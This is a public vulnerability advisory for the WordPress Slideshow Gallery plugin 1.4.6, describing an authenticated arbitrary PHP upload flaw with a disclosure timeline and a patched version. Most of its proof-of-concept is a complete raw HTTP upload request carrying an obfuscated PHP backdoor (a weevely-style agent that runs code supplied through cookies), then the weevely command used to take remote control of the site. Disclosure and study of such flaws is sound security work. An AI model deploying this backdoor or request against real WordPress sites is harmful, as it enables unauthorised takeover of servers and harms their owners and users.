WordPress Slideshow Gallery Plugin 1.4.6 - Shell Upload Vulnerability

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Summary: WordPress Slideshow Gallery plugin version 1.4.6 suffers from a remote shell upload vulnerability.

Found by: Jesus Ramirez Pichardo

  @whitexploit

  http://whitexploit.blogspot.mx/

Date: 2014-08-28

Vendor Homepage: http://tribulant.com/

Software: Slideshow Gallery

Version: 1.4.6

Software Link: http://downloads.wordpress.org/plugin/slideshow-gallery.1.4.6.zip

Tested on: Windows 7 OS, Wordpress 3.9.2 and Chrome Browser.

 

Description:

 

I found a serious security vulnerability in the Slideshow Gallery plugin. This bug allows an attacker to upload any php file remotely to the vulnerable website (administrator by default). I have tested and verified that having the current version of the plugin installed in a WordPress installation will allow any registered user (Administrator, Editor, Author, Contributor and Subscriber), to upload a PHP shell to exploit the host system.

 

Backdoor location: http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php

 

Today (2014-08-29), I did the notification to vendor and they gave me feedback about the vulnerability by email. The vendor has released a patch a few hours ago. (SlideShow Gallery version 1.4.7 at https://wordpress.org/plugins/slideshow-gallery/changelog).

 

Proof of Concept (PoC):

 

1. An attacker uploads a PHP shell file (i.e. backdoor.php):

 

POST http://192.168.31.128/wordpress/wp-admin/admin.php?page=slideshow- slides&method=save HTTP/1.1

Host: 192.168.31.128

Connection: keep-alive

Content-Length: 2168

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://192.168.31.128

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEGMugMZ1CVkRzbxV DNT: 1

Referer: http://192.168.31.128/wordpress/wp-admin/admin.php?page=slideshow- slides&method=save

Accept-Encoding: gzip,deflate

Accept-Language: es-ES,es;q=0.8,en;q=0.6,it;q=0.4,und;q=0.2

Cookie: wordpress_a8ed7709a5b8081c924ceda6269a7962=master%7C1409465845%7C9ee160d2851bbcdaa2865 e9010d92d46; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_a8ed7709a5b8081c924ceda6269a7962=master%7C1409465845%7C0565892d6d7 f9de1022e4ad95b45d4ac; wp-settings-1=libraryContent%3Dupload%26editor%3Dtinymce; wp- settings-time-1=1409293045

------WebKitFormBoundaryEGMugMZ1CVkRzbxV

Content-Disposition: form-data; name="Slide[id]"

 

------WebKitFormBoundaryEGMugMZ1CVkRzbxV

Content-Disposition: form-data; name="Slide[order]"

 

------WebKitFormBoundaryEGMugMZ1CVkRzbxV

Content-Disposition: form-data; name="Slide[title]"

 

Test Shell Upload

------WebKitFormBoundaryEGMugMZ1CVkRzbxV

Content-Disposition: form-data; name="Slide[description]"

 

------WebKitFormBoundaryEGMugMZ1CVkRzbxV

Content-Disposition: form-data; name="Slide[showinfo]"

 

both

------WebKitFormBoundaryEGMugMZ1CVkRzbxV

Content-Disposition: form-data; name="Slide[iopacity]"

 

70

------WebKitFormBoundaryEGMugMZ1CVkRzbxV

Content-Disposition: form-data; name="Slide[galleries][]"

 

1

------WebKitFormBoundaryEGMugMZ1CVkRzbxV

Content-Disposition: form-data; name="Slide[type]"

 

file

------WebKitFormBoundaryEGMugMZ1CVkRzbxV

Content-Disposition: form-data; name="image_file"; filename="backdoor.php"

Content-Type: application/octet-stream

 

<?php

$kvgk = str_replace("y","","ysytyry_yreypylyayce"); $dawj="pdGV4cGxvaXQnO2VzhjaGzh8gJzwnLiRrzhLic+JzzhtldmFsKGJhc2U2NF9kZWNvZGUz"; $asrp="gnJywnKycpLCBqb2luKGFycmF5X3NsaWNlKCRhLCRjKzhCRhKS0zKSkpKSk7ZWzhNobyAnPC8nLzhiR rLic+Jzt9"; $gxfr="hocHJlZ19yzhZXBsYzhWNlKzhGFycmF5KCcvW15cdz1cc1zh0vJywnzhLzh1xzzhLycpLCBhcnJheSz h"; $fdcd="JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihzhyZXNldCgkYSk9PSd3zhaCcgJiYgJGMzhoJGEpPjMpe zhyRrPSd";

$uuod = $kvgk("j", "", "bjase6j4j_jdjejcjojde");

$qcon = $kvgk("av","","avcraveaavteav_avfavuavnavcavtiavoavn");

$rpgy = $qcon('', $uuod($kvgk("zh", "", $fdcd.$dawj.$gxfr.$asrp))); $rpgy();

?>

------WebKitFormBoundaryEGMugMZ1CVkRzbxV

Content-Disposition: form-data; name="Slide[image_url]"

 

------WebKitFormBoundaryEGMugMZ1CVkRzbxV

Content-Disposition: form-data; name="Slide[uselink]"

 

N

 

------WebKitFormBoundaryEGMugMZ1CVkRzbxV

Content-Disposition: form-data; name="Slide[link]"

 

------WebKitFormBoundaryEGMugMZ1CVkRzbxV

Content-Disposition: form-data; name="Slide[linktarget]"

 

self

------WebKitFormBoundaryEGMugMZ1CVkRzbxV

Content-Disposition: form-data; name="submit"

 

Save Slide

                      ------WebKitFormBoundaryEGMugMZ1CVkRzbxV--

                       

2. The backdoor is located at http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php

 

3. The attacker uses a security tool (i.e. weevely) in order to communicate with the backdoor.

 

#weevely http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php whitexploit

 

Now the attacker has a “telnet-like console”. Finally, the attacker has the remote control of the

vulnerable website.

 

Vulnerability Disclosure Timeline:

2014-08-28: Discovered vulnerability

2014-08-29: Vendor Notification (support@tribulant.com)

2014-08-29: Vendor Response/Feedback

2014-08-29: Vendor Fix/Patch

2014-08-30: Public Disclosure